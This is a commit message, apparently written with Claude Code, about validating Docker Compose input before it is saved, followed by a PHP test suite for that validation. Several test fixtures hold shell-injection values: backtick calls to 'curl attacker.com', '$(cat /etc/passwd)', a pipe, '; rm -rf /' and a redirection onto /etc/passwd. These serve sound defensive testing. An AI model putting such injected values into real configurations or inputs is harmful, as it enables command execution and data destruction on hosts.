This commit addresses a critical security issue where malicious Docker Compose
data was being saved to the database before validation occurred.
Problem:
- Service models were saved to database first
- Validation ran afterwards during parse()
- Malicious data persisted even when validation failed
- User saw error but damage was already done
Solution:
1. Created validateDockerComposeForInjection() to validate YAML before save
2. Added pre-save validation to all Service creation/update points:
- Livewire: DockerCompose.php, StackForm.php
- API: ServicesController.php (create, update, one-click)
3. Validates service names and volume paths (string + array formats)
4. Blocks shell metacharacters: backticks, $(), |, ;, &, >, <, newlines
Security fixes:
- Volume source paths (string format) - validated before save
- Volume source paths (array format) - validated before save
- Service names - validated before save
- Environment variable patterns - safe ${VAR} allowed, ${VAR:-$(cmd)} blocked
Testing:
- 60 security tests pass (176 assertions)
- PreSaveValidationTest.php: 15 tests for pre-save validation
- ValidateShellSafePathTest.php: 15 tests for core validation
- VolumeSecurityTest.php: 15 tests for volume parsing
- ServiceNameSecurityTest.php: 15 tests for service names
Related commits:
- Previous: Added validation during parse() phase
- This commit: Moves validation before database save
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
200 lines
5.5 KiB
PHP
200 lines
5.5 KiB
PHP
<?php
|
|
|
|
test('validateDockerComposeForInjection blocks malicious service names', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
evil`curl attacker.com`:
|
|
image: nginx:latest
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service name');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/pwn`curl attacker.com`:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- type: bind
|
|
source: '/tmp/pwn`curl attacker.com`'
|
|
target: /app
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '$(cat /etc/passwd):/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks pipes in service names', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web|cat /etc/passwd:
|
|
image: nginx:latest
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker Compose service name');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/test; rm -rf /:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows legitimate compose files', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- /var/www/html:/usr/share/nginx/html
|
|
- app-data:/data
|
|
db:
|
|
image: postgres:15
|
|
volumes:
|
|
- db-data:/var/lib/postgresql/data
|
|
volumes:
|
|
app-data:
|
|
db-data:
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection allows environment variables in volumes', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '${DATA_PATH}:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '${DATA:-$(cat /etc/passwd)}:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection requires services section', function () {
|
|
$invalidCompose = <<<'YAML'
|
|
version: '3'
|
|
networks:
|
|
mynet:
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($invalidCompose))
|
|
->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection handles empty volumes array', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes: []
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
|
|
$maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\"";
|
|
|
|
// YAML parser will reject this before our validation (which is good!)
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class);
|
|
});
|
|
|
|
test('validateDockerComposeForInjection blocks redirections in volumes', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/test > /etc/passwd:/app'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection validates volume targets', function () {
|
|
$maliciousCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- '/tmp/safe:/app`curl attacker.com`'
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
|
|
->toThrow(Exception::class, 'Invalid Docker volume definition');
|
|
});
|
|
|
|
test('validateDockerComposeForInjection handles multiple services', function () {
|
|
$validCompose = <<<'YAML'
|
|
services:
|
|
web:
|
|
image: nginx:latest
|
|
volumes:
|
|
- /var/www:/usr/share/nginx/html
|
|
api:
|
|
image: node:18
|
|
volumes:
|
|
- /app/src:/usr/src/app
|
|
db:
|
|
image: postgres:15
|
|
YAML;
|
|
|
|
expect(fn () => validateDockerComposeForInjection($validCompose))
|
|
->not->toThrow(Exception::class);
|
|
});
|